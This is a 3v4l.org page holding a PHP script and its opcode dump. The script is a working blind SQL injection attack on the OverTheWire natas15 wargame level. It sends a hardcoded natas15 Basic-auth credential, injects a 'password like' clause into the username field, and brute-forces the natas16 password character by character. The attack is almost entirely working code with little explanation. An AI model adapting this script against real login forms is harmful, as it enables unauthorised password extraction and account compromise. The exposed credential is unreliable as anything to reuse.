3v4l.org

run code in 300+ PHP versions simultaneously
<?php function getWebPage($url, $data) { $context = stream_context_create(array("http" => array("header" => "Authorization: Basic ". base64_encode("natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"), "method" => "POST", "content" => http_build_query($data)))); $data2 = file_get_contents($url, false, $context); return $data2; } function isTrue($result) { if (strpos($result, "This user exists") > 0) return true; else return false; } $password = ""; $url = "http://natas15.natas.labs.overthewire.org/index.php"; for($pwdChar = 1; $pwdChar <= 32; $pwdChar++) { for($asciiChar = 48; $asciiChar <= 122; $asciiChar++) { $data = array("username" => 'natas16" and password like "'.$password.chr($asciiChar).'%'); if(isTrue(getWebPage($url, $data))) { $password .= chr($asciiChar); echo $password." dude<br/>"; break; } } } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 33
Branch analysis from position: 33
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 4
Branch analysis from position: 35
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
1 jumps found. (Code = 42) Position 1 = 30
Branch analysis from position: 30
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 6
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 4
Branch analysis from position: 35
Branch analysis from position: 4
Branch analysis from position: 6
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 29
Branch analysis from position: 22
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
Branch analysis from position: 29
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 6
Branch analysis from position: 32
Branch analysis from position: 6
filename:       /in/FisQO
function name:  (null)
number of ops:  36
compiled vars:  !0 = $password, !1 = $url, !2 = $pwdChar, !3 = $asciiChar, !4 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   19     0  E >   ASSIGN                                                   !0, ''
   20     1        ASSIGN                                                   !1, 'http%3A%2F%2Fnatas15.natas.labs.overthewire.org%2Findex.php'
   22     2        ASSIGN                                                   !2, 1
          3      > JMP                                                      ->33
   24     4    >   ASSIGN                                                   !3, 48
          5      > JMP                                                      ->30
   26     6    >   CONCAT                                           ~9      'natas16%22+and+password+like+%22', !0
          7        INIT_FCALL                                               'chr'
          8        SEND_VAR                                                 !3
          9        DO_ICALL                                         $10     
         10        CONCAT                                           ~11     ~9, $10
         11        CONCAT                                           ~12     ~11, '%25'
         12        INIT_ARRAY                                       ~13     ~12, 'username'
         13        ASSIGN                                                   !4, ~13
   28    14        INIT_FCALL                                               'istrue'
         15        INIT_FCALL                                               'getwebpage'
         16        SEND_VAR                                                 !1
         17        SEND_VAR                                                 !4
         18        DO_FCALL                                      0  $15     
         19        SEND_VAR                                                 $15
         20        DO_FCALL                                      0  $16     
         21      > JMPZ                                                     $16, ->29
   30    22    >   INIT_FCALL                                               'chr'
         23        SEND_VAR                                                 !3
         24        DO_ICALL                                         $17     
         25        ASSIGN_OP                                     8          !0, $17
   31    26        CONCAT                                           ~19     !0, '++dude%3Cbr%2F%3E'
         27        ECHO                                                     ~19
   32    28      > JMP                                                      ->32
   24    29    >   PRE_INC                                                  !3
         30    >   IS_SMALLER_OR_EQUAL                                      !3, 122
         31      > JMPNZ                                                    ~21, ->6
   22    32    >   PRE_INC                                                  !2
         33    >   IS_SMALLER_OR_EQUAL                                      !2, 32
         34      > JMPNZ                                                    ~23, ->4
   36    35    > > RETURN                                                   1

Function getwebpage:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/FisQO
function name:  getWebPage
number of ops:  25
compiled vars:  !0 = $url, !1 = $data, !2 = $context, !3 = $data2
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    3     2        INIT_FCALL                                               'stream_context_create'
          3        INIT_FCALL                                               'base64_encode'
          4        SEND_VAL                                                 'natas15%3AAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
          5        DO_ICALL                                         $4      
          6        CONCAT                                           ~5      'Authorization%3A+Basic+', $4
          7        INIT_ARRAY                                       ~6      ~5, 'header'
    4     8        ADD_ARRAY_ELEMENT                                ~6      'POST', 'method'
    5     9        INIT_FCALL                                               'http_build_query'
         10        SEND_VAR                                                 !1
         11        DO_ICALL                                         $7      
         12        ADD_ARRAY_ELEMENT                                ~6      $7, 'content'
         13        INIT_ARRAY                                       ~8      ~6, 'http'
         14        SEND_VAL                                                 ~8
         15        DO_ICALL                                         $9      
    3    16        ASSIGN                                                   !2, $9
    7    17        INIT_FCALL                                               'file_get_contents'
         18        SEND_VAR                                                 !0
         19        SEND_VAL                                                 <false>
         20        SEND_VAR                                                 !2
         21        DO_ICALL                                         $11     
         22        ASSIGN                                                   !3, $11
    9    23      > RETURN                                                   !3
   10    24*     > RETURN                                                   null

End of function getwebpage

Function istrue:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 9
Branch analysis from position: 7
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 9
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/FisQO
function name:  isTrue
number of ops:  11
compiled vars:  !0 = $result
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   12     0  E >   RECV                                             !0      
   13     1        INIT_FCALL                                               'strpos'
          2        SEND_VAR                                                 !0
          3        SEND_VAL                                                 'This+user+exists'
          4        DO_ICALL                                         $1      
          5        IS_SMALLER                                               0, $1
          6      > JMPZ                                                     ~2, ->9
   14     7    > > RETURN                                                   <true>
          8*       JMP                                                      ->10
   16     9    > > RETURN                                                   <false>
   17    10*     > RETURN                                                   null

End of function istrue

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
155.02 ms | 1411 KiB | 27 Q